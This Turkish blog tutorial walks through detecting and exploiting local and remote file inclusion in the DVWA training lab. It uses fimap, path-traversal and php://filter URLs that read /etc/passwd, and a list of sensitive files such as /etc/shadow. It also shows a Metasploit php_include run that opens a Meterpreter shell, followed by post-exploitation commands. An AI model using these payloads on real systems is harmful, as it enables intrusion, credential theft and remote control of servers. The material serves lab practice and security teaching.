OWASP DVWA – File Inclusion (Düşük Seviye): Yerel ve Uzak Dosya Dahil Etme Zafiyetinin Fimap Aracı ile Tespiti ve MSF php_include Modülü ile İstismar Edilmesi

Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir kontrol eksikliği sebebi ile beklenmeyen dosyalar web uygulaması tarafından çalıştırılabilir. Bu yazıda, OWASP DVWA (Damn Vulnerable Web App) üzerindeki düşük zorluk seviyesindeki File Inclusion açıklığı tespit edilerek manuel ve otomatik olarak istismar edilecektir.

Dosya Dahil Etme (File Inclusion) zafiyeti yerel (Local FI) ve uzak (Remote FI) olarak ikiye ayrılabilir. Yerel dosya dahil etme zafiyeti barındıran uygulamada, normalde sunulmayan ama işletim sistemde bulunan herhangi bir dosya (uygulama kullanıcısı yetkileri ile) okunabilir. Bunun yanında uzak dosya dahil etme zafiyeti barındıran uygulamada ise farklı bir sunucunun sunduğu bir sayfa zafiyetli uygulama tarafından sunulabilir veya zafiyetli uygulamanın komut satırına erişim sağlanabilir.

Not: Bu yazıda kullanılan Fimap aracı yerine aLFI aracı da kullanılabilirdi.

https://www.homelab.it/index.php/2014/08/26/alfi-scanner-an0th3r-lfi-sc4nn3r-v1-0/

 

1) Fimap Aracı ile Zafiyetin Tespiti

Dosya dahil etme zafiyetini içeren uygulama sayfasına erişmek için sol kolondaki “File Inclusion” bağlantısına tıklanabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php

 

Zafiyetli parametrenin bulunabilmesi için “fimap” aracı kullanılabilir. URL’e erişmek için kimlik doğrulaması gerektiği için çerez bilgisi de eklenmesi gerekmektedir.

fimap -b -u ‘http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php’ –cookie=’security=low; PHPSESSID=r0eb9arb43fcb7viseae6pe5u6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; __gfp_64b=9oh2xd3OTQ_CLy4Ku.14sN_C_PL45AZ_sRYJqhl.Y_j.W’

 

Not: Çerez bilgisi Burp Suite gibi bir araçla elde edilebilir.

Fimap aracının çıktısında dosya dahil etme zafiyetinin bulunduğu tespit edilmiştir.

 

Zafiyete sebep olan “page” parametresi ile varsayılan olarak uygulama sunucusunun web kök dizinindeki “include.php” dosyası sunulmaktadır. Bu dosyanın içeriği aşağıdaki gibidir.

cat include.php

 

 

2) Zafiyetin El İle İstismar Edilmesi

Yeterli kontrolün yapılmaması sebebi ile yerel dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile işletim sistemindeki bir dosya okunabilmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd

 

Not: Dizin erişimlerinde sıkıntı olması durumunda “../” ile üst dizinlere çıkılarak dosya okunabilir. Eğer URL kodlama ihtiyacı olursa da “..%27” kullanılarak dizine geçiş sağlanabilir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd

Önemli olan bazı dosyalar bağlantıdaki ve aşağıdaki gibi sıralanabilir.

  • /etc/issue
  • /proc/version
  • /etc/profile
  • /etc/passwd
  • /etc/shadow
  • /etc/hosts
  • /etc/sudoers
  • /etc/issue
  • /etc/mysql/my.cnf
  • /proc/cmdline
  • /root/.bash_history
  • /var/log/apache2/access.log
  • /var/log/dmessage
  • /var/mail/root
  • /var/spool/cron/crontabs/root
  • /var/www/dvwa/phpinfo.php
  • /var/www/dvwa/config/config.inc.php

 

Benzer olarak; yeterli kontrolün yapılmaması sebebi ile uzak dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile başka bir sunucudaki bir dosya bu uygulama üzerinden sunulabilmektedir.

http://10.10.2.156/dvwa/vulnerabilities/fi/?page=https://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=http://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=http://www.google.com.tr

 

Uzaktan dahil edilen sayfa içerisine “Merhaba Dünya” gibi bir yazı varsa, zafiyetli sayfayı ziyaret eden ziyaretçiler ekranda bu yazı ile karşılaşırlar.

 

3) Zafiyetin MSF php_include Modülü ile İstismar Edilmesi

Uzak dosya dahil etme zafiyetinin istismarı için MSF php_include istismar modülü kullanılabilir.

search php_include
use exploit/unix/webapp/php_include
show options

 

Modül ayarlanır ve istismar işlemi gerçekleştirilir.

set RHOST 10.10.2.156
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX
set HEADERS “Cookie:security=low; PHPSESSID=lthmialb35uiejgrvbl5stksl4”
run
sessions -i 1

 

Not: Oturum ID değeri Burp Suite, Cookie Manager gibi uygulamalar ile elde edilebilir.

 

Elde edilen Meterpreter erişimi kullanılarak uygulama kullanıcısı yetkileri ile işlem gerçekleştirilebilir.

getuid
getpid
shell
id
hostname
ps -ef


İlgili Kaynak Kod:

 

Kaynak:

http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-8—File-Inclusion-Low-Level.php
http://csirt.ulakbim.gov.tr/dokumanlar/PHP_RFI_SaldiriEngelleme.pdf

https://www.offensive-security.com/metasploit-unleashed/php-meterpreter/
https://github.com/lucyoa/ctf-wiki/tree/master/web/file-inclusion
http://securityidiots.com/Web-Pentest/LFI

 

 

Yazarın Bilgileri

Abdulkerim Demir
Abdulkerim Demir

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.